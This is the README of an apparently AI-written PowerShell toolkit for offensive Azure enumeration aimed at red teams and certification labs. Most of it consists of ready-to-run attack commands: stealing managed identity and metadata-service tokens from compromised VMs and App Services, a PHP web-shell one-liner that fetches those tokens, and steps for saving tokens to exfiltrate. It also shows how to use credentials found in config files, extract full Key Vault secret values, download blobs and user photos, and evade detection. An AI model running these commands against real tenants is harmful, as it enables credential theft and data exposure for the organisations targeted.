Simple automation for Azure ARM enumeration using tokens
This toolkit is currently in its initial development phase and was created using AI assistance (~90%). While functional, you may encounter errors, incomplete information retrieval, or unexpected behavior. These scripts are provided as-is for educational and testing purposes.
Known limitations:
- May not retrieve all expected information in complex environments
- Token validation and error handling still being refined
- Some edge cases may cause script failures
- Authentication flows may require manual intervention in certain scenarios
We welcome contributions! ๐ค If you encounter issues or have improvements, please feel free to create pull requests to help make this toolkit more robust and reliable for the community.
Some scripts to automate enumeration of Azure ARM resources using tokens or current logged user. Useful for CARTP certification, Azure Red Team Labs from Altered Security or Red Teams.
| Method | Prompts? | Best For | Command |
|---|---|---|---|
| ๐ฏ Token (No Prompts) | โ | CTF/Automation | .\Enum-AzureARM.ps1 -AccessTokenARM $token -AccountId $user |
| ๐ Service Principal (No Prompts) | โ | Red Team/Automation | .\Enum-AzureARM.ps1 -UseServicePrincipal -ApplicationId $id -ClientSecret $secret -TenantId $tenant |
| ๐ค Current User (Interactive) | โ | Manual Testing | .\Enum-AzureARM.ps1 -UseCurrentUser |
Get Tokens:
# Azure CLI ARM Token
$armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken
# Azure CLI Graph Token
$graphToken = (az account get-access-token --resource=https://graph.microsoft.com --output json | ConvertFrom-Json).accessTokenBasically, if you're tired of enumerating resources using Powershell and AZ Cli, or you face a CTF or you simple want to see the different resources that can be accesed using a token without a lot of manual commands, you've come to the right place. These scripts will make you look smart at parties (the kind of parties where people discuss PowerShell... so, very exclusive parties).
This magnificent beast of a script will enumerate Azure resources faster than you can say "unauthorized access". It's like having X-ray vision for Azure subscriptions, but legal (Ensure you have explicit permission).
What it does:
- ๐ต๏ธ Finds ALL the things: VMs, Storage Accounts, Key Vaults, Web Apps, Function Apps, and more
- ๐ Extract Key Vault secrets with dedicated OAuth tokens and full values (not truncated like other tools)
- ๐พ Enhanced blob downloads with OAuth-based enumeration, smart diagnostics, and 5-tier authentication system
- ๐ Smart Storage enumeration - lists containers even without Storage tokens, provides helpful guidance for blob access
- ๐ ๏ธ Advanced token diagnostics - JWT analysis, scope validation, and comprehensive troubleshooting guidance
- ๐ค Automatic AccountId extraction - extracts user identity from Graph tokens automatically (upn โ unique_name โ preferred_username โ email)
- ๐ธ User photo download - automatically detects and downloads user profile photos with proper naming convention
- ๐ฅ Maps role assignments like a social network stalker (with principal name resolution)
- ๐ Generates beautiful reports that will make your boss think you're a wizard
- ๐ญ Multiple authentication methods including advanced service principal support
- ๐ Automatic resource token acquisition (Storage + Key Vault tokens) in service principal mode
- ๏ฟฝ๏ธ Smart subscription management with test subscription detection and interactive selection โญ NEW!
- ๏ฟฝ๐ซ SSL bypass capabilities for those special CTF moments when certificates are more like suggestions
- ๐ฃ๏ธ Verbose output with smart error handling and guidance for manual token retrieval
- ๐ฏ CTF/Red Team optimized with comprehensive enumeration and cross-resource correlation
How to use it like a pro:
โ ๏ธ IMPORTANT: As of the latest update, the script now implements smart authentication behavior - subscription selection is only prompted when using-UseCurrentUser. Token-based and service principal authentication proceed directly with available privileges.
| Authentication Method | Subscription Selection | Behavior |
|---|---|---|
Token-Based (-AccessTokenARM/-AccessTokenGraph) |
โ No Prompts | Proceeds directly with token privileges |
Service Principal (-UseServicePrincipal) |
โ No Prompts | Uses service principal's available access |
Current User (-UseCurrentUser) |
โ Interactive | Prompts for subscription selection when multiple available |
Perfect for when you've already authenticated with Azure PowerShell or Azure CLI:
# Basic enumeration with existing credentials
.\Enum-AzureARM.ps1 -UseCurrentUser
# Verbose mode - see everything that's happening
.\Enum-AzureARM.ps1 -UseCurrentUser -Verbose
# Graph-only enumeration (when no ARM subscription access available)
.\Enum-AzureARM.ps1 -UseCurrentUser -AllowNoSubscriptionBehavior: Interactive subscription selection menu appears when multiple subscriptions are available.
The crown jewel of authentication methods. When you have service principal credentials, this is your best friend. Proceeds directly with enumeration - no subscription selection prompts!
# Enhanced service principal with automatic resource token acquisition
.\Enum-AzureARM.ps1 -UseServicePrincipal `
-ApplicationId "12345678-1234-1234-1234-123456789abc" `
-ClientSecret "ABC123XyZ456DefGhi789JklMno012PqrStu" `
-TenantId "87654321-4321-4321-4321-cba987654321"
# What this gets you automatically:
# โ
ARM management tokens
# โ
Microsoft Graph tokens
# โ
Storage account tokens (https://storage.azure.com/)
# โ
Key Vault tokens (https://vault.azure.net/)
# โ
Enhanced blob download with 5-tier authentication system
# โ
Full cross-resource enumeration capabilitiesWhy Enhanced Mode Rocks:
- ๐ฏ Automatic Resource Tokens: No more "403 Forbidden" on storage blobs - gets the right tokens automatically
- ๐ก๏ธ 5-Tier Blob Authentication: Tries multiple methods to download blobs (storage context, keys, OAuth, resource tokens, ARM fallback)
- ๐ Comprehensive Access: Enumerates everything from VMs to secrets with proper authentication
- ๐ญ CTF Perfect: Designed for scenarios where you have SP credentials and need maximum access
# Method 1: Explicit Azure CLI mode
.\Enum-AzureARM.ps1 -UseAzureCLI `
-ServicePrincipalId "12345678-1234-1234-1234-123456789abc" `
-ServicePrincipalSecret "ABC123XyZ456DefGhi789JklMno012PqrStu" `
-TenantId "87654321-4321-4321-4321-cba987654321"
# Method 2: Direct parameters (auto-detects Azure CLI mode)
.\Enum-AzureARM.ps1 -ServicePrincipalId "12345678-1234-1234-1234-123456789abc" `
-ServicePrincipalSecret "ABC123XyZ456DefGhi789JklMno012PqrStu" `
-TenantId "87654321-4321-4321-4321-cba987654321"When you already have tokens from other sources. The script automatically extracts tenant ID from JWT token claims and proceeds directly with enumeration - no subscription prompts!
# ARM + Graph tokens (full access) - AccountId auto-extracted from Graph token
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphToken
# Enhanced enumeration with Storage and Key Vault tokens ๐
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenStorage $storageToken -AccessTokenKeyVault $kvToken -AccountId $userId
# Interactive subscription selection with tokens
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphToken -AccountId $userId -ForceSubscriptionSelection
# Just Graph enumeration (AccountId auto-extracted, photos auto-downloaded)
.\Enum-AzureARM.ps1 -AccessTokenGraph $graphToken -GraphOnly
# Just ARM enumeration with Storage enhancement
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenStorage $storageToken -AccountId $userId
# Fully non-interactive (automation)
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphToken -AccountId $userId -NoInteractiveAuth
# Allow enumeration without subscription (Graph-only mode)
.\Enum-AzureARM.ps1 -AccessTokenGraph $graphToken -AllowNoSubscriptionBehavior:
- โ No subscription prompts by default - proceeds directly with token privileges
- ๐ JWT parsing - extracts
tid(tenant ID) claim for validation - ๐ฏ Direct access - uses whatever subscriptions/resources the token can access
- โก Automatic mode - perfect for automation and CTF scenarios
- ๐ฎ Optional interactive selection - use
-ForceSubscriptionSelectionto choose different subscriptions
# You found service principal creds in a config file or environment variable
.\Enum-AzureARM.ps1 -UseServicePrincipal `
-ApplicationId "a1b2c3d4-e5f6-7890-abcd-ef1234567890" `
-ClientSecret "super_secret_key_found_in_config" `
-TenantId "tenant-id-from-recon" `
-Verbose
# This will:
# 1. Authenticate with the service principal
# 2. Get tokens for ARM, Graph, Storage, and Key Vault
# 3. Enumerate all accessible resources
# 4. Try to download storage blobs with multiple auth methods
# 5. Extract Key Vault secrets if permissions allow
# 6. Generate a comprehensive report# Standard service principal for automation
.\Enum-AzureARM.ps1 -ServicePrincipalId $env:AZURE_CLIENT_ID `
-ServicePrincipalSecret $env:AZURE_CLIENT_SECRET `
-TenantId $env:AZURE_TENANT_ID `
-OutputFormat csv `
-OutputFile "Reports\daily-inventory.csv"# When you only need Azure AD enumeration
.\Enum-AzureARM.ps1 -AccessTokenGraph $discoveredGraphToken -GraphOnly -VerboseWhen you have access to Azure CLI (perfect for post-compromise scenarios):
# PowerShell - ARM token for resource management
$armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken
# Use the token
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccountId "[email protected]"# PowerShell - Graph token for Azure AD enumeration
$graphToken = (az account get-access-token --resource=https://graph.microsoft.com --output json | ConvertFrom-Json).accessToken
# Use the token
.\Enum-AzureARM.ps1 -AccessTokenGraph $graphToken -GraphOnly# Get all tokens for maximum access ๐
$armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken
$graphToken = (az account get-access-token --resource=https://graph.microsoft.com --output json | ConvertFrom-Json).accessToken
$storageToken = (az account get-access-token --resource=https://storage.azure.com/ | ConvertFrom-Json).accessToken
$kvToken = (az account get-access-token --resource=https://vault.azure.net/ | ConvertFrom-Json).accessToken
$userId = (az account show --query user.name -o tsv)
# Full enumeration with all tokens for maximum capabilities
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphToken -AccessTokenStorage $storageToken -AccessTokenKeyVault $kvToken -AccountId $userId -Verbose# Storage token for enhanced blob enumeration
$storageToken = (az account get-access-token --resource=https://storage.azure.com/ | ConvertFrom-Json).accessToken
# Key Vault token for enhanced secret access
$kvToken = (az account get-access-token --resource=https://vault.azure.net/ | ConvertFrom-Json).accessToken
# Use with existing ARM token for enhanced storage access
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenStorage $storageToken -AccountId $userId
# Use with Graph token for enhanced Key Vault access
.\Enum-AzureARM.ps1 -AccessTokenGraph $graphToken -AccessTokenKeyVault $kvTokenWhen Azure PowerShell is available:
# Get Graph token from current Azure PowerShell context
$context = Get-AzContext
$armToken = $context.TokenCache.ReadItems() | Where-Object { $_.Resource -eq "https://management.azure.com/" } | Select-Object -First 1 -ExpandProperty AccessToken
# Alternative method using Get-AzAccessToken (Az.Accounts 2.2.0+)
$armToken = (Get-AzAccessToken).Token
$graphToken = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
# Use extracted tokens (AccountId automatically extracted from Graph token)
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphTokenWhen you compromise a resource with managed identity (VMs, App Services, Function Apps, etc.):
# ARM token via managed identity
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" \
-H "secret:$IDENTITY_HEADER"
# Graph token via managed identity
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com&api-version=2017-09-01" \
-H "secret:$IDENTITY_HEADER"# Get ARM token via managed identity endpoint
$response = Invoke-RestMethod -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -Headers @{secret="$env:IDENTITY_HEADER"}
$armToken = $response.access_token
# Get Graph token
$graphResponse = Invoke-RestMethod -Uri "$env:IDENTITY_ENDPOINT?resource=https://graph.microsoft.com&api-version=2017-09-01" -Headers @{secret="$env:IDENTITY_HEADER"}
$graphToken = $graphResponse.access_token
# Use tokens (save to file or exfiltrate)
"ARM Token: $armToken" | Out-File tokens.txt
"Graph Token: $graphToken" | Add-Content tokens.txtPerfect for when you have RCE on a web application running on App Service:
<?php
// Exploit managed identity via PHP web shell
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER"');
?>For compromised Azure VMs (when IDENTITY_ENDPOINT isn't available):
# ARM token from Azure VM metadata service
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Graph token from Azure VM metadata service
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"Once you have tokens, validate and use them:
# Quick token validation (check if it works)
$headers = @{ Authorization = "Bearer $armToken" }
$test = Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2022-12-01" -Headers $headers
# Check token claims (decode JWT)
$tokenParts = $armToken.Split('.')
$payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($tokenParts[1]))
$claims = $payload | ConvertFrom-Json
Write-Host "Tenant ID: $($claims.tid)"
Write-Host "App ID: $($claims.appid)"
Write-Host "UPN: $($claims.upn)"
# Use with enumeration script
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccountId $claims.upn -Verbose# Developer has Azure CLI authenticated
$armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken
$graphToken = (az account get-access-token --resource=https://graph.microsoft.com --output json | ConvertFrom-Json).accessToken
# Maximum enumeration (AccountId auto-extracted, photos auto-downloaded)
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenGraph $graphToken -Verbose# From compromised web shell or RCE
export TOKENS=$(curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER")
echo $TOKENS > /tmp/arm_token.json
# Extract and use token (transfer to attack machine)# Found in config files, environment variables, or source code
$foundArmToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$foundGraphToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Direct enumeration - no subscription prompts! AccountId auto-extracted from Graph token
.\Enum-AzureARM.ps1 -AccessTokenARM $foundArmToken -AccessTokenGraph $foundGraphToken- Tokens expire - typically 1 hour for user tokens, varies for service principals
- Scope matters - ensure tokens have appropriate resource audience (
https://management.azure.com/for ARM) - Refresh tokens - if available, can be used to get new access tokens
- Stealth tip - token-based enumeration doesn't trigger new authentication events
The script now includes intelligent subscription selection and management features:
Automatically detects test/demo/trial subscriptions and warns before using them:
# The script will detect patterns like:
# - "Test Company" (common test subscription name)
# - Any subscription with "test", "demo", "trial" in the name
# - Prompts user for confirmation before proceeding
WARNING: Current Azure context is using subscription 'Test Company' - this appears to be a test/demo subscription
Do you want to continue with this subscription?
Default: No (timeout: 10s) [y/N]When multiple subscriptions are available, get a user-friendly menu:
๐ Multiple Azure subscriptions found:
1. Production-Environment (12345678-1234-1234-1234-123456789abc)
2. Development-Testing (87654321-4321-4321-4321-cba987654321)
3. Secure-Environment (11111111-2222-3333-4444-555555555555)
4. Continue without subscription (Graph-only)
0. Exit
Select subscription (1-4, or 0 to exit): New parameter for Graph-only enumeration when ARM access isn't available:
# When you only have Graph permissions or want to avoid ARM enumeration
.\Enum-AzureARM.ps1 -UseCurrentUser -AllowNoSubscription
# Perfect for scenarios where:
# โ
You only need Azure AD enumeration (includes photo downloads!)
# โ
ARM subscription access is denied
# โ
You want to avoid test/demo subscriptions
# โ
Compliance requirements restrict ARM access
# โ
Automatic AccountId extraction works with Graph-only mode- 10-second timeout for subscription prompts with clear defaults
- User can cancel or select different options anytime
- Non-interactive mode support for automated scenarios
- Graceful fallback to Graph-only when ARM access fails
# The script guides you through subscription selection:
๐ Discovering available Azure subscriptions...
โ
Selected: Production-Environment (12345678-1234-1234-1234-123456789abc)
๐ Let's select a different subscription...
โ ๏ธ Timeout reached. Using default: No
๐ฏ Continuing with Graph-only enumeration...When you use -UseServicePrincipal with Azure PowerShell, you get superpowers:
No more "Access Denied" errors on storage blobs! The script automatically gets:
- Storage Tokens:
https://storage.azure.com/for blob downloads - Key Vault Tokens:
https://vault.azure.net/for secret extraction - Graph Tokens:
https://graph.microsoft.comfor Azure AD enumeration - ARM Tokens:
https://management.azure.com/for resource management
When trying to download storage blobs, the script tries multiple methods:
- ๐ต Az.Storage Context - Uses Azure PowerShell storage context
- ๐ก Storage Account Keys - Tries to get and use storage keys directly
- ๐ข Azure CLI OAuth + Keys - Combines OAuth with key-based access
- ๐ Resource-Specific Token - Uses
https://storage.azure.com/token - ๐ด ARM Token Fallback - Falls back to ARM management token
When using Graph tokens, the script automatically:
- Detects user profile photos from Microsoft Graph API
- Downloads photos automatically to the Results folder
- Proper naming convention:
photo_AccountId.jpg(e.g.,[email protected]) - Binary data handling - ensures downloaded images are valid and uncorrupted
- Graceful fallback - continues enumeration if photo download fails
No more manual AccountId specification with Graph tokens! The script automatically extracts user identity from JWT token claims:
- Priority order:
upnโunique_nameโpreferred_usernameโemail - Seamless experience - just provide the Graph token, AccountId is handled automatically
- Fallback support - can still manually specify AccountId if needed
- Works with all Graph token types - user tokens, service principal tokens, managed identity tokens
If automatic token acquisition fails, the script provides:
- Clear guidance on manual token retrieval
- Copy-paste commands for getting tokens manually
- Alternative methods using PowerShell modules
- Specific error context to help troubleshoot
- Lists all Key Vaults in accessible subscriptions
- Dedicated Key Vault OAuth token support for enhanced secret access
- Priority token usage - uses
-AccessTokenKeyVaultas highest priority method - Extracts secret names and full secret values (not truncated)
- Handles both certificate and key secrets with improved authentication
- Multiple token fallback - Key Vault OAuth โ CLI-acquired tokens โ ARM โ Graph
- Enhanced error handling with specific permission guidance
- Lists all storage accounts and containers (even without Storage token)
- OAuth-based blob enumeration with dedicated Storage tokens
- Smart container enumeration - lists containers without blob access, provides guidance
- Cross-method verification - validates OAuth results with alternative methods
- Enhanced progress tracking with real-time container and blob processing feedback
- Comprehensive diagnostics - JWT token analysis, scope validation, troubleshooting tips
- Multiple authentication fallback - Storage OAuth โ Account Key โ Azure CLI โ PowerShell
- Detailed logging of enumeration attempts and specific failure reasons
- Maps all role assignments across subscriptions
- Resolves principal names (users, groups, service principals)
- Shows effective permissions and scope
- Cross-references with Graph data when available
# The "I found service principal creds and want to own everything" approach
.\Enum-AzureARM.ps1 -UseServicePrincipal `
-ApplicationId "found-in-config-file" `
-ClientSecret "discovered-secret" `
-TenantId "target-tenant" `
-Verbose
# Alternative: Manual token acquisition for maximum control ๐
$armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken
$storageToken = (az account get-access-token --resource=https://storage.azure.com/ | ConvertFrom-Json).accessToken
$kvToken = (az account get-access-token --resource=https://vault.azure.net/ | ConvertFrom-Json).accessToken
.\Enum-AzureARM.ps1 -AccessTokenARM $armToken -AccessTokenStorage $storageToken -AccessTokenKeyVault $kvToken -AccountId "[email protected]" -Verbose
# What you get:
# โ
Complete resource inventory with enhanced authentication
# โ
OAuth-based blob enumeration with comprehensive diagnostics
# โ
Enhanced Key Vault secret access with dedicated tokens
# โ
Smart container enumeration (lists containers even without blob access)
# โ
Cross-method verification for maximum data retrieval
# โ
Role assignments and permissions analysis
# โ
Azure AD user/group enumeration
# โ
Automatic user photo download (when Graph token available)
# โ
AccountId auto-extraction from Graph tokens
# โ
Detailed troubleshooting guidance and next stepsThe enhanced mode includes built-in diagnostics:
- Token validation - Checks if tokens are valid and have required permissions
- Permission analysis - Shows what permissions are missing
- Alternative methods - Suggests other ways to access resources
- Verbose logging - Detailed progress information with
-Verbose
When you need to know what's alive on a network but don't want to install nmap (or can't because corporate policies hate fun).
# The "knock knock, who's there?" approach
.\port-scanner.ps1 -NetworkRange "192.168.1.0/24"
# The "I have trust issues" approach (scan the ports)
.\port-scanner.ps1 -NetworkRange "10.0.1.1-50" -Ports "22,80,443,3389,5985,5986"For when you want to create PowerShell scripts but notepad gives you anxiety and ISE is too mainstream or maybe you don't have a GUI to use.
# The "I'm feeling creative" approach
.\create-script-without-gui.ps1 -OutputFile "MyMasterpiece.ps1" -IncludeHeaderWe've also got some other scripts lying around because why not:
- Enhanced-CTF-Enumeration.ps1 - For when regular enumeration isn't extra enough
- Quick-CTF-Test.ps1 - Quick and dirty testing (emphasis on dirty)
- check_credentials.ps1 - Does what it says on the tin
- Various other scripts that may or may not work depending on the phase of the moon
- Error handling so good it makes Python developers jealous
- Input validation that would make your mother proud
- Retry logic for when Azure is having a bad day (which is Tuesday)
- Help files that don't assume you're a mind reader
- Examples that actually work (revolutionary!)
- Parameter descriptions written in human language
- Progress bars so you know it's not frozen
- Color-coded output because we're not savages
- Verbose mode for when you need to know what your computer is thinking
- JSON for the APIs, CSV for the spreadsheet warriors
- Timestamps because "when did this happen?" is always the first question
- Full data because truncation is the enemy of knowledge
- PowerShell 5.1+ (if you're still on 2.0, we need to talk)
- An Azure account or token (shocking, I know)
- Basic reading skills (you're doing great so far!)
- Az.Accounts module - for the fancy authentication
- Microsoft.Graph module - for when you want to be extra thorough
- Coffee - for moral support during long enumeration sessions
git clone https://github.com/oscarintherocks/Enum-AzureARM.git
# Or download the ZIP like it's 2005Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
# PowerShell: "I don't trust this script!"
# You: "It's fine, I made it myself"Install-Module Az.Accounts -Force
Install-Module Microsoft.Graph -Force
# Now you're ready to enumerate like a proIMPORTANT: Only use these scripts on systems you own or have explicit permission to test. I'm not responsible if you:
- Get fired for "testing" your company's production environment
- Accidentally enumerate someone else's Azure tenant
- Discover your CEO's secret cryptocurrency mining operation
- Find out how much money your company actually wastes on Azure
# The nuclear option (use responsibly)
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process- "Invalid token" - Your token expired (tokens are like milk, they go bad)
- "Access denied" - You need more permissions (ask nicely)
- "Rate limited" - Azure is tired, try again later
# The universal fix
Get-Help .\scriptname.ps1 -Examples
# If that doesn't work, try turning it off and on againWant to make these scripts even better? Here's how not to mess things up:
- Don't break existing stuff (revolutionary concept)
- Add error handling (because users will always find new ways to break things)
- Write help that helps (amazing!)
- Test your changes (I know, I know, testing is for mortals)
- ๐ Storage & Key Vault Token Support - new
-AccessTokenStorageand-AccessTokenKeyVaultparameters - ๐ Enhanced Storage OAuth Authentication - OAuth-based blob enumeration with comprehensive error handling
- ๐ Smart Container Enumeration - lists containers without Storage token, with helpful guidance for blob access
- ๐ ๏ธ Advanced Token Diagnostics - JWT token analysis, scope validation, and troubleshooting guidance
- โก Cross-Method Verification - validates OAuth results with alternative authentication methods when available
- ๐ฏ Comprehensive Progress Tracking - detailed progress indicators for storage account processing
- ๐ก Intelligent User Guidance - proactive tips and troubleshooting suggestions throughout enumeration
- ๐ค Automatic AccountId Extraction - extracts user identity from Graph tokens automatically (no manual specification needed)
- ๐ธ User Photo Download - automatically detects and downloads user profile photos with proper naming and binary handling
- ๐ฎ Token-Based Subscription Selection - new
-ForceSubscriptionSelectionparameter - ๐ง Enhanced JWT Token Parsing - fixed URL-safe Base64 decoding for Graph tokens
- โก Flexible Authentication Options - choose between automatic and interactive modes
- ๐ฏ Improved User Experience - clear control over subscription selection behavior
- ๐ Multiple Subscription Support - select specific subscriptions even with tokens
- ๐ ๏ธ Better Error Handling - robust JWT parsing with fallback mechanisms
- ๐ฏ Smart Authentication Behavior - subscription selection only for
-UseCurrentUser - ๐ JWT Token Parsing - automatic extraction of
tid(tenant ID) claims from tokens - โก No-Prompt Automation - token and service principal auth proceed directly
- ๐ซ Comprehensive Token Acquisition Guide - Azure CLI, PowerShell, and exploitation methods
- ๐ต๏ธ Managed Identity Exploitation - detailed methods for post-compromise scenarios
- ๐ Enhanced Documentation - complete authentication behavior reference
- ๐ก๏ธ Smart subscription management with test subscription detection
- ๐ฎ Interactive subscription selection menu with timeout handling
- ๐ซ AllowNoSubscription parameter for Graph-only enumeration
- โก Enhanced error handling - changed Write-Error to Write-Warning for better flow
- ๐ Graceful fallback mechanisms when ARM access fails
- ๐ User-friendly prompts with clear guidance and defaults
- Made everything actually work properly
- Added so much error handling it became self-aware
- Documentation that doesn't make you cry
- SSL bypasses for those special CTF moments
- Full secret values because truncation is evil
- Basic functionality (if you were lucky)
- Error handling? What's that?
- Documentation written by someone who clearly hated users
It's open source, do whatever you want. Just don't blame me when it breaks. For more details read the LICENSE file
| Script | What It Does | Best Usage |
|---|---|---|
Enum-AzureARM.ps1 |
Comprehensive Azure enumeration | See authentication methods below โฌ๏ธ |
port-scanner.ps1 |
Network discovery and port scanning | .\port-scanner.ps1 -NetworkRange "192.168.1.0/24" |
create-script-without-gui.ps1 |
Script creation without GUI | .\create-script-without-gui.ps1 |
| Scenario | Command | Prompts | Why Use This |
|---|---|---|---|
| Current User | .\Enum-AzureARM.ps1 -UseCurrentUser |
โ Interactive | Already logged in with Az/CLI |
| ๐ CTF/Red Team | .\Enum-AzureARM.ps1 -UseServicePrincipal -ApplicationId '<ID>' -ClientSecret '<SECRET>' -TenantId '<TENANT>' |
โ No Prompts | Maximum capabilities + auto tokens |
| Standard Automation | .\Enum-AzureARM.ps1 -ServicePrincipalId '<ID>' -ServicePrincipalSecret '<SECRET>' -TenantId '<TENANT>' |
โ No Prompts | Azure CLI backend |
| ๐ฏ Token ARM+Graph | .\Enum-AzureARM.ps1 -AccessTokenARM '<TOKEN>' -AccessTokenGraph '<TOKEN>' |
โ No Prompts | AccountId auto-extracted + photos downloaded |
| ๐ Token Full Suite | .\Enum-AzureARM.ps1 -AccessTokenARM '<ARM>' -AccessTokenStorage '<STORAGE>' -AccessTokenKeyVault '<KV>' -AccountId '<ID>' |
โ No Prompts | Maximum capabilities with all tokens |
| ๐ฎ Token + Selection | .\Enum-AzureARM.ps1 -AccessTokenARM '<TOKEN>' -AccessTokenGraph '<TOKEN>' -AccountId '<ID>' -ForceSubscriptionSelection |
โ Interactive | Choose subscription with tokens |
| Token ARM + Storage | .\Enum-AzureARM.ps1 -AccessTokenARM '<TOKEN>' -AccessTokenStorage '<STORAGE>' -AccountId '<ID>' |
โ No Prompts | Enhanced storage enumeration |
| Token Graph + KV | .\Enum-AzureARM.ps1 -AccessTokenGraph '<TOKEN>' -AccessTokenKeyVault '<KV>' |
โ No Prompts | Enhanced Key Vault access |
| Graph Only | .\Enum-AzureARM.ps1 -AccessTokenGraph '<TOKEN>' -GraphOnly |
โ No Prompts | Azure AD enumeration + photos downloaded |
| โญ No Subscription | .\Enum-AzureARM.ps1 -UseCurrentUser -AllowNoSubscription |
โ Interactive | Graph-only + smart subscription handling |
| Method | Command | Use Case |
|---|---|---|
| Azure CLI ARM | $armToken = (az account get-access-token --resource=https://management.azure.com/ | ConvertFrom-Json).accessToken |
Post-compromise with Azure CLI |
| Azure CLI Graph | $graphToken = (az account get-access-token --resource=https://graph.microsoft.com --output json | ConvertFrom-Json).accessToken |
Azure AD enumeration token |
| ๐ Azure CLI Storage | $storageToken = (az account get-access-token --resource=https://storage.azure.com/ | ConvertFrom-Json).accessToken |
Enhanced blob enumeration |
| ๐ Azure CLI Key Vault | $kvToken = (az account get-access-token --resource=https://vault.azure.net/ | ConvertFrom-Json).accessToken |
Enhanced secret access |
| Managed Identity ARM | curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER" |
Compromised Azure resource |
| ๐ Managed Identity Storage | curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER" |
Compromised resource with Storage access |
| Web App Exploit | <?php system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H "secret:$IDENTITY_HEADER"'); ?> |
RCE on App Service with managed identity |
๐ฏ Pro Tips:
- Use
-UseServicePrincipalfor enhanced blob downloads and automatic resource tokens - Add
-Verboseto see detailed progress and troubleshooting info - Use
-AllowNoSubscriptionfor Graph-only enumeration when ARM access is limited - Service principal mode gets Storage + Key Vault tokens automatically!
- Smart subscription selection prevents accidental enumeration of test environments
Made with โ and 90% using AI with nice prompts, including most of this fancy documentation